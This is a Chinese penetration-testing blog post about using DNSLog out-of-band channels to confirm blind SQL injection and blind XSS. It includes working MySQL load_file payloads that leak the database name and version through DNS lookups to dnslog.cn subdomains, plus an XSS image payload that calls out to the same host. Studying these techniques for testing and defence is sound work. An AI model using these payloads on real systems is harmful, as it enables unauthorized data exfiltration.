前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >使用DNSLog进行盲打

使用DNSLog进行盲打

作者头像
Baige
发布2022-03-29 15:00:21
2.5K0
发布2022-03-29 15:00:21
举报
文章被收录于专栏:世荣的博客

前言

在渗透测试当中,当我们遇到没有回显的漏洞是非常难以利用,因为我们无从得知存不存在漏洞,另外是我们无法得知漏洞执行的结果。因此,针对无回显漏洞,我们可以通过使用DNSLog来进行回显,DNSLog是一种回显机制,攻击者可以通过DNS的解析日志来读取漏洞执行的回显结果。

DNSLog

首先,我们都知道DSN的解析过程,递归查询和迭代查询相互结合。

DNSLog的使用方法

1.DNSLog原理DNS的解析是递归与迭代相结合的,这里举个例子,当我们访问网站的时候,DNS的解析过程示意图。...

这里我们可以控制的是域名的DNS服务器,也就是"baidu.com"的DNS服务器。我们只需要搭建一个DNS服务器,并将要盲打或盲注的回显,放到自己域名的二级域名或者三级域名或者其他子域名上去请求,就可以通过DNS解析日志来获取到它们。

DNSLog部署过程:

1.申请一个域名,比如:baige.com

2.在我们的上安装并配置DNS服务器

3.将baige.com的DNS服务器设置为我们的地址

4.所有访问baige.com的二级三级四级等等子域名都会被解析到我们的上,我们就可以通过查询DNS服务器解析记录来获得命令执行的回显了。

在线的DNSLog平台:

http://ceye.io

http://www.dnslog.cn

网站总是进不去,麻了。

为什么DNSlog注入只能用于windows系统?

load_file()函数在Linux下是无法用来做DNSLog攻击的,因为linux没有UNC这个东西,所以当MySQL处于Linux系统中的时候,是不能使用这种方式外带数据的。

什么是UNC?

UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器。 UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。

UNC路径就是类似softer这样的形式的网络路径。它符合 servernamesharename 格式,其中 servername 是服务器名,sharename 是共享资源的名称。

目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:servernamesharenamedirectoryfilename。

例如把自己电脑的文件共享,你会获得如下路径,这就是UNC路径

//iZ53sl3r1890u7Z/Users/Administrator/Desktop/111.txt

SQL盲注回显

不管是布尔盲注还是时间盲注,都需要发送大量的数据包去判断,而这可能会触发WAF的防护,因此导致被封IP,所以,如果条件允许,我们可以结合NDSLog来快速的回显数据。MySQL数据库,通过DNSLog盲注需要用到load_file()函数,该函数不仅能加载本地文件,同时也能对URL发起请求。因为需要使用load_file()函数,所以需要用到root权限,并且secure_file_priv需要为空。

1.SQL盲注,后端数据库用的Mysql数据库,说一下用dnslog回显只能用于windows系统,原理就是'\'代表Microsoft Windows通用命名约定(UNC)的文件和目录路径格式利用任何以下扩展存储程序引发DNS地址解析。双斜杠表示网络资源路径多加两个就是转义了反斜杠。

2.通过DNSlog盲注需要用的load_file()函数,所以一般得是root权限。

代码语言:javascript
复制
`show variables like '%secure%';`

查看load_file()可以读取的磁盘。

(1)当secure_file_priv为空,就可以读取磁盘的目录。

(2)当secure_file_priv为G:,就可以读取G盘的文件。

(3)当secure_file_priv为null,load_file就不能加载文件。

通过设置my.ini来配置。secure_file_priv=""就是可以load_flie任意磁盘的文件。

关于OOB

out-of-band带外数据(OOB)与inband相反,它是一种通过其他传输方式来窃取数据的技术(例如利用DNS解析协议和电子邮件)。OOB技术通常需要易受攻击的实体生成出站TCP/UDP/ICMP请求,然后允许攻击者泄露数据。OOB攻击的成功基于出口防火墙规则,即是否允许来自易受攻击的系统和外围防火墙的出站请求。而从域名服务器(DNS)中提取数据,则被认为是最隐蔽有效的方法。

payload:

代码语言:javascript
复制
select load_file(concat('\\\\',(要查询的语句),'.xx.xx.xx\\abc'));

执行的语句:

代码语言:javascript
复制
select load_file(concat('\\\\',(select database()),
'.p3973g.dnslog.cn\\abc'));

select load_file(concat('\\\\',(select version)),
'.p3973g.dnslog.cn\\abc')

DNSLog平台收到的DNS查询:

无回显的XSS

代码语言:javascript
复制
payload:<img src=http://hf8r67.dnslog.cn>

DNSLog平台收到的DNS查询

即可证明XSS

更多盲打Payload

这里也只能抛砖引玉了,更多思路要结合几乎接近实战的情况成功验证,然后才能去实现。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022 年 03 月,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • SQL盲注回显
  • 关于OOB
  • 无回显的XSS
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档